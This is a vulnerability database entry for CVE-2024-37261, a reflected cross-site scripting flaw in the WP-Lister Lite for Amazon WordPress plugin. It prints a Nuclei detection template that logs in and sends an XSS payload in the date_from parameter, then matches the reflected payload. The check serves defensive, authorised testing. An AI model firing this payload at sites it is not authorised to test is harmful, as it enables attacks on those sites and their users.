Browse / CVEs / CVE-2024-37261
CVE-2024-37261· wplab / wp-lister-lite-for-amazon· CWE-79
WP-Lister Lite for Amazon <= 2.6.16 - Cross-Site Scripting
mediumseverity
6.1CVSS score
0.6%likelihood of exploitation, next 30 days
50%of all CVEs are less likely
Readycheck to confirm it
The WP-Lister Lite for Amazon plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to, and including, 2.6.16 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
How to confirm it
Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=wpla-tools&tab=stock_log&date_from={{rand}}%22+autofocus+onfocus%3D%22alert%28document.domain%29%22+x%3D%22
Positive when: contains "value=\"{{rand}}\\\" autofocus onfocus=\\\"alert(document.domain…" and "name=\"date_from\"" AND contains in content_type "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2024-37261 -u <target>
The full check
id: CVE-2024-37261
info:
name: WP-Lister Lite for Amazon <= 2.6.16 - Cross-Site Scripting
author: Kazgangap
severity: medium
description: |
The WP-Lister Lite for Amazon plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to, and including, 2.6.16 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
reference:
- https://patchstack.com/database/vulnerability/wp-lister-for-amazon/wordpress-wp-lister-lite-for-amazon-plugin-2-6-16-reflected-cross-site-scripting-xss-vulnerability
- https://wordpress.org/plugins/wp-lister-for-amazon/
- https://nvd.nist.gov/vuln/detail/CVE-2024-37261
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-37261
epss-score: 0.00624
epss-percentile: 0.5029
cwe-id: CWE-79
metadata:
verified: true
max-request: 2
vendor: wplab
product: wp-lister-lite-for-amazon
tags: cve,cve2024,wordpress,wp,wp-plugin,wp-lister-for-amazon,xss,vkev,authenticated
variables:
rand: '{{to_lower(rand_text_alpha(12))}}'
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=wpla-tools&tab=stock_log&date_from={{rand}}%22+autofocus+onfocus%3D%22alert%28document.domain%29%22+x%3D%22 HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'value="{{rand}}\" autofocus onfocus=\"alert(document.domain)\"'
- 'name="date_from"'
condition: and
- type: word
part: content_type
words:
- 'text/html'
- type: status
status:
- 200References
- https://patchstack.com/database/vulnerability/wp-lister-for-amazon/wordpress-wp-lister-lite-for-amazon-plugin-2-6-16-reflected-cross-site-scripting-xss-vulnerability
- https://wordpress.org/plugins/wp-lister-for-amazon/
- https://nvd.nist.gov/vuln/detail/CVE-2024-37261
Use this check only on systems you are authorised to test. Where the data comes from